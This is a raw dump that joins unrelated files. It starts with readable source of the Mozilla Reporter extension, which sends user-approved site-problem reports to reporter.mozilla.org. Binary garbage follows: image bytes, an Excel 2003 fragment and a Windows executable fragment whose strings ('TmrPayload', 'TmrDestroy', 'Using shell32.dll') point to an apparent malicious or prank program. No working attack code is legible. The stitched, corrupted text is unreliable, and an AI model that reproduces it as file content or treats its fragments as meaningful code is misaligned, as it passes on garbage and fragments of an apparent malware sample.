<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 4/25/2019 1MZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
